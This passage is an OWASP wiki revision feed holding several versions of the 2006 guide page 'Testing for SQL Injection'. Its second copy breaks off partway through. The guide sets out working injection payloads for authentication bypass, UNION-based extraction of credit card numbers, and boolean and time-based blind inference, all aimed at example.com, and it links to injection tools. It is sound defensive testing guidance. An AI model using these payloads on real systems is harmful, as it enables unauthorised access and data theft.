In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Daniel Bleichenbacher: &amp;quot;Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1&amp;quot;, CRYPTO 1998, pp1-12.&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot;, whitepaper. NGSSoftware Insight Security Research Publication, 2002.&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=13522</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=13522"/>
				<updated>2006-11-21T22:45:07Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary == &lt;br /&gt;
A SQL injection attack consists of insertion or &amp;quot;injection&amp;quot; of an SQL query via the input data from the client to the application.&amp;lt;BR&amp;gt; &lt;br /&gt;
A successful sql injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS), recover the content of a given file present on the DBMS filesystem and in some cases issue commands to the operating system.&lt;br /&gt;
For an introduction to SQL Injection, please refer to the references at the bottom of the page.&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
SQL Injection attacks can be divided in the following three classes:&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester)&lt;br /&gt;
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the DB Server&lt;br /&gt;
Independently from the attack class, in order to perform a SQL Injection attack it is necessary to craft a syntactically correct SQL Query. If the application returns the error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and therefore understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as &amp;quot;Blind SQL Injection&amp;quot; .&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== SQL Injection Detection ===&lt;br /&gt;
&lt;br /&gt;
The first step in this test is to understand when our application connects to a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, ...) are very likely to be stored in a relational database.&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error.&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. &lt;br /&gt;
The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
 varchar value 'test' to a column of data type int.&lt;br /&gt;
 /target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A full error message like the ones in the examples provides a wealth of information to the tester in order to mount a successful injection. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques.&lt;br /&gt;
In any case, it is very important to test *each field separately*: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
=== Standard Sql Injection Testing ===&lt;br /&gt;
&lt;br /&gt;
Consider the following sql query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login to the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are inserted from the user generally through a web form. &lt;br /&gt;
We suppose to insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1&lt;br /&gt;
 $password = 1' or '1' = '1&lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;SELECT * FROM Users WHERE Username= '1' OR '1' = '1' AND Password= '1' OR '1' = '1'&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query return a value (or a set of values) because the  condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;BR&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.''&lt;br /&gt;
Another example of query is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parenthesis and one due to the use of MD5 hash function. &lt;br /&gt;
First of all we resolve the problem of the parenthesis. &lt;br /&gt;
That simply consist of adding a number of closing parenthesis until we obtain a corrected query. To resolve the second problem we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way everything that follows such symbol is considered as a comment.&lt;br /&gt;
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*. In Oracle the symbol is &amp;quot;--&amp;quot;.&lt;br /&gt;
Saying this, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
The url request will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Which return a number of values. Sometimes, the authentication code verifies that the number of returned tuple is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). &lt;br /&gt;
In order to go around to this problem, it is enough to insert a sql command, that imposes the condition that the number of the returned tuple must be one. (One record returned)&lt;br /&gt;
In order to reach this goal, we use the command &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuples that we expect to be returned. The value of the fields Username and Password regarding the previous example will be modified according the following:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
In this way we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Union Query Sql Injection Testing ===&lt;br /&gt;
Another test to carry out, involves the use of the UNION operation. Through such operation it is possible, in case of Sql Injection, to join a query, purposely forged from the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword '''ALL''' is necessary to get around the query that make use of keyword DISTINCT. &lt;br /&gt;
Moreover we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two query must have an equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
=== Blind Sql Injection Testing ===&lt;br /&gt;
We have pointed out that exists another category of sql injection, called Blind Sql Injection, in which nothing is known on the outcome of an operation. This behavior happens in cases where the programmer has created a customed error page that does not reveal anything on the structure of the query or on the database. (Does not return a SQL error, it may just return a HTTP 500).&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
Thanks to the inference methods it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. The method consists in carrying out a series of booloean queries to the server, observing the answers and finally deducing the meaning of such answers.&lt;br /&gt;
We consider, as always, the www.example.com domain and we suppose that it contains a parameter vulnerable to sql injection of name id.&lt;br /&gt;
This means that carrying out the following request: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?id=1' &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&lt;br /&gt;
which is exploitable through the methods seen previously. &lt;br /&gt;
What we want is to obtain the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples we will use the following pseudo-functions: &lt;br /&gt;
&lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a substring starting from the position &amp;quot;start&amp;quot; of text and of length &amp;quot;length&amp;quot;. If &amp;quot;start&amp;quot; is greater than the length of text, the function returns a null value. &lt;br /&gt;
&lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input text.&lt;br /&gt;
&lt;br /&gt;
Through such functions we will execute our tests on the first character and, when we will have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. &lt;br /&gt;
The tests will take advantage of the function SUBSTRING in order to select only one character at time (selecting a single character means to impose the length parameter to 1) and function ASCII in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of ASCII table, until finding the desired value.&lt;br /&gt;
As an example we will insert the following value for ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&lt;br /&gt;
that creates the following query (from now on we will call it &amp;quot;inferential query&amp;quot;): &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&lt;br /&gt;
The previous returns a result if and only if the first character of field username is equal to the ASCII value 97. If we get a false value then we increase the index of ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the table and we pass to analyze the next character, modifying the parameters of SUBSTRING function.&lt;br /&gt;
The problem is to understand in that way we distinguish the test that has carried a true value, from the one that has carried a false value.&lt;br /&gt;
In order to make this we create a query that we are sure returns a false value. &lt;br /&gt;
This is possible by the following value as field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND '1' = '2 &lt;br /&gt;
&lt;br /&gt;
by which will create the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&lt;br /&gt;
The answer of the server obtained (that is HTML code) will be the false value for our tests. &lt;br /&gt;
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test exposed before. &lt;br /&gt;
Sometimes this method does not work. In the case the server returns two defferent pages as a result of two identical consecutive web requests we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two template in order to decide the result of the test.&lt;br /&gt;
In the previous tests, we are supposed to know in what way it is possible to understand when we have ended the inference beacause we have obtained the value. &lt;br /&gt;
In order to understand when we have ended, we will use one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When our test will return a true value and we would have used an ASCII code equals to 0 (that is the value null), then that mean that we have ended to make inference, or that the value we have analyzed effectively contains the value null.&lt;br /&gt;
&lt;br /&gt;
We will insert the following value for the field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed with now (excluded the null value). &lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&lt;br /&gt;
that gives back a true or false value. If we have a true value, then we have ended to make inference and therefore we have gained the value of the parameter. If we obtain a false value, this means that the null character is present on the value of the parameter, then we must continue to analyze the next parameter until we will find another null value.&lt;br /&gt;
&lt;br /&gt;
The blind sql injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
A simple tool which performs this task, via GET requests on MySql DB is SqlDumper, is shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:sqldumper.jpg]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.nextgenss.com/papers/advanced_sql_injection.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Kevin Spett: &amp;quot;SQL Injection&amp;quot; - http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett: &amp;quot;Blind SQL Injection&amp;quot; - http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blind Sql Injection&amp;quot; - http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP SQLiX- http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySql Blind Injection Bruteforcing, Reversing.org - [[http://www.reversing.org/node/view/11 sqlbftools]]&amp;lt;br&amp;gt;&lt;br /&gt;
* Daniele Bellucci: MySql Injection Inference tool - [[http://sourceforge.net/projects/sqlmap SqlMap]]&amp;lt;br&amp;gt;&lt;br /&gt;
* Antonio Parata: Dump Files by sql inference on Mysql - [[http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz SqlDumper]]&amp;lt;br&amp;gt;&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=13171</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=13171"/>
				<updated>2006-11-17T00:49:32Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary == &lt;br /&gt;
A SQL injection attack consists of insertion or &amp;quot;injection&amp;quot; of an SQL query via the input data from the client to the application.&amp;lt;BR&amp;gt; &lt;br /&gt;
A successful sql injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS), recover the content of a given file present on the DBMS filesystem and in some cases issue commands to the operating system.&lt;br /&gt;
For an introduction to SQL Injection, please refer to the references at the bottom of the page.&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
SQL Injection attacks can be divided in the following three classes:&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester)&lt;br /&gt;
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the DB Server&lt;br /&gt;
Independently from the attack class, in order to perform a SQL Injection attack it is necessary to craft a syntactically correct SQL Query. If the application returns the error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and therefore understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as &amp;quot;Blind SQL Injection&amp;quot; .&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== SQL Injection Detection ===&lt;br /&gt;
&lt;br /&gt;
The first step in this test is to understand when our application connects to a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
* Authentication forms: when the authentication is performed with a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, ...) are very likely to be stored in a relational database&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error.&lt;br /&gt;
The very first test usually consists in adding a single quote (') or a semicolon (;) to the field under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. &lt;br /&gt;
The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
 varchar value 'test' to a column of data type int.&lt;br /&gt;
 /target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A full error message like the ones in the examples provides a wealth of information to the tester in order to mount a successful injection. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques.&lt;br /&gt;
In any case, it is very important to test *each field separately*: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
=== Standard Sql Injection Testing ===&lt;br /&gt;
&lt;br /&gt;
Consider the following sql query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login to the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are inserted from the user generally through a web form. &lt;br /&gt;
We suppose to insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1&lt;br /&gt;
 $password = 1' or '1' = '1&lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;SELECT * FROM Users WHERE Username= '1' OR '1' = '1' AND Password= '1' OR '1' = '1'&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query return a value (or a set of values) because the  condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;BR&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.''&lt;br /&gt;
Another example of query is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parenthesis and one due to the use of MD5 hash function. &lt;br /&gt;
First of all we resolve the problem of the parenthesis. &lt;br /&gt;
That simply consist of adding a number of closing parenthesis until we obtain a corrected query. To resolve the second problem we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way everything that follows such symbol is considered as a comment.&lt;br /&gt;
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*. In Oracle the symbol is &amp;quot;--&amp;quot;.&lt;br /&gt;
Saying this, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
The url request will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Which return a number of values. Sometimes, the authentication code verifies that the number of returned tuple is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). &lt;br /&gt;
In order to go around to this problem, it is enough to insert a sql command, that imposes the condition that the number of the returned tuple must be one. (One record returned)&lt;br /&gt;
In order to reach this goal, we use the command &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuples that we expect to be returned. The value of the fields Username and Password regarding the previous example will be modified according the following:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
In this way we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Union Query Sql Injection Testing ===&lt;br /&gt;
Another test to carry out, involves the use of the UNION operation. Through such operation it is possible, in case of Sql Injection, to join a query, purposely forged from the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword '''ALL''' is necessary to get around the query that make use of keyword DISTINCT. &lt;br /&gt;
Moreover we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two query must have an equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
=== Blind Sql Injection Testing ===&lt;br /&gt;
We have pointed out that exists another category of sql injection, called Blind Sql Injection, in which nothing is known on the outcome of an operation. This behavior happens in cases where the programmer has created a customed error page that does not reveal anything on the structure of the query or on the database. (Does not return a SQL error, it may just return a HTTP 500).&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
Thanks to the inference methods it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. The method consists in carrying out a series of booloean queries to the server, observing the answers and finally deducing the meaning of such answers.&lt;br /&gt;
We consider, as always, the www.example.com domain and we suppose that it contains a parameter vulnerable to sql injection of name id.&lt;br /&gt;
This means that carrying out the following request: &lt;br /&gt;
&lt;br /&gt;
